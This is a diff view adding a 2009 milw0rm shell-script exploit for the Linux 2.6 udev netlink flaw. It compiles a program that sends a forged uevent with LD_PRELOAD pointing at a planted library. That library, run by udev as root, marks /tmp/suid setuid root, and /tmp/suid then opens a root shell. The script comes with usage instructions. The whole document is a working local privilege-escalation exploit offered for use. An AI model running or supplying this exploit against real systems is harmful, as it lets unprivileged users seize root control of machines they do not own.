|
| 1 | +#!/bin/sh |
| 2 | +# Linux 2.6 |
| 3 | +# bug found by Sebastian Krahmer |
| 4 | +# |
| 5 | +# lame sploit using LD technique |
| 6 | +# by kcope in 2009 |
| 7 | +# tested on debian-etch,ubuntu,gentoo |
| 8 | +# do a 'cat /proc/net/netlink' |
| 9 | +# and set the first arg to this |
| 10 | +# script to the pid of the netlink socket |
| 11 | +# (the pid is udevd_pid - 1 most of the time) |
| 12 | +# + sploit has to be UNIX formatted text :) |
| 13 | +# + if it doesn't work the 1st time try more often |
| 14 | +# |
| 15 | +# WARNING: maybe needs some FIXUP to work flawlessly |
| 16 | +## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang |
| 17 | + |
| 18 | +cat > udev.c << _EOF |
| 19 | +#include <fcntl.h> |
| 20 | +#include <stdio.h> |
| 21 | +#include <string.h> |
| 22 | +#include <stdlib.h> |
| 23 | +#include <unistd.h> |
| 24 | +#include <dirent.h> |
| 25 | +#include <sys/stat.h> |
| 26 | +#include <sysexits.h> |
| 27 | +#include <wait.h> |
| 28 | +#include <signal.h> |
| 29 | +#include <sys/socket.h> |
| 30 | +#include <linux/types.h> |
| 31 | +#include <linux/netlink.h> |
| 32 | +
|
| 33 | +#ifndef NETLINK_KOBJECT_UEVENT |
| 34 | +#define NETLINK_KOBJECT_UEVENT 15 |
| 35 | +#endif |
| 36 | +
|
| 37 | +#define SHORT_STRING 64 |
| 38 | +#define MEDIUM_STRING 128 |
| 39 | +#define BIG_STRING 256 |
| 40 | +#define LONG_STRING 1024 |
| 41 | +#define EXTRALONG_STRING 4096 |
| 42 | +#define TRUE 1 |
| 43 | +#define FALSE 0 |
| 44 | +
|
| 45 | +int socket_fd; |
| 46 | +struct sockaddr_nl address; |
| 47 | +struct msghdr msg; |
| 48 | +struct iovec iovector; |
| 49 | +int sz = 64*1024; |
| 50 | +
|
| 51 | +main(int argc, char **argv) { |
| 52 | + char sysfspath[SHORT_STRING]; |
| 53 | + char subsystem[SHORT_STRING]; |
| 54 | + char event[SHORT_STRING]; |
| 55 | + char major[SHORT_STRING]; |
| 56 | + char minor[SHORT_STRING]; |
| 57 | +
|
| 58 | + sprintf(event, "add"); |
| 59 | + sprintf(subsystem, "block"); |
| 60 | + sprintf(sysfspath, "/dev/foo"); |
| 61 | + sprintf(major, "8"); |
| 62 | + sprintf(minor, "1"); |
| 63 | +
|
| 64 | + memset(&address, 0, sizeof(address)); |
| 65 | + address.nl_family = AF_NETLINK; |
| 66 | + address.nl_pid = atoi(argv[1]); |
| 67 | + address.nl_groups = 0; |
| 68 | +
|
| 69 | + msg.msg_name = (void*)&address; |
| 70 | + msg.msg_namelen = sizeof(address); |
| 71 | + msg.msg_iov = &iovector; |
| 72 | + msg.msg_iovlen = 1; |
| 73 | +
|
| 74 | + socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); |
| 75 | + bind(socket_fd, (struct sockaddr *) &address, sizeof(address)); |
| 76 | +
|
| 77 | + char message[LONG_STRING]; |
| 78 | + char *mp; |
| 79 | +
|
| 80 | + mp = message; |
| 81 | + mp += sprintf(mp, "%s@%s", event, sysfspath) +1; |
| 82 | + mp += sprintf(mp, "ACTION=%s", event) +1; |
| 83 | + mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1; |
| 84 | + mp += sprintf(mp, "MAJOR=%s", major) +1; |
| 85 | + mp += sprintf(mp, "MINOR=%s", minor) +1; |
| 86 | + mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1; |
| 87 | + mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1; |
| 88 | +
|
| 89 | + iovector.iov_base = (void*)message; |
| 90 | + iovector.iov_len = (int)(mp-message); |
| 91 | +
|
| 92 | + char *buf; |
| 93 | + int buflen; |
| 94 | + buf = (char *) &msg; |
| 95 | + buflen = (int)(mp-message); |
| 96 | +
|
| 97 | + sendmsg(socket_fd, &msg, 0); |
| 98 | +
|
| 99 | + close(socket_fd); |
| 100 | +
|
| 101 | + sleep(10); |
| 102 | + execl("/tmp/suid", "suid", (void*)0); |
| 103 | +} |
| 104 | +
|
| 105 | +_EOF |
| 106 | +gcc udev.c -o /tmp/udev |
| 107 | +cat > program.c << _EOF |
| 108 | +#include <unistd.h> |
| 109 | +#include <stdio.h> |
| 110 | +#include <sys/types.h> |
| 111 | +#include <stdlib.h> |
| 112 | +
|
| 113 | +void _init() |
| 114 | +{ |
| 115 | + setgid(0); |
| 116 | + setuid(0); |
| 117 | + unsetenv("LD_PRELOAD"); |
| 118 | + execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL); |
| 119 | +} |
| 120 | +
|
| 121 | +_EOF |
| 122 | +gcc -o program.o -c program.c -fPIC |
| 123 | +gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles |
| 124 | +cat > suid.c << _EOF |
| 125 | +int main(void) { |
| 126 | + setgid(0); setuid(0); |
| 127 | + execl("/bin/sh","sh",0); } |
| 128 | +_EOF |
| 129 | +gcc -o /tmp/suid suid.c |
| 130 | +cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 |
| 131 | +/tmp/udev $1 |
| 132 | + |
| 133 | +# milw0rm.com [2009-04-20] |
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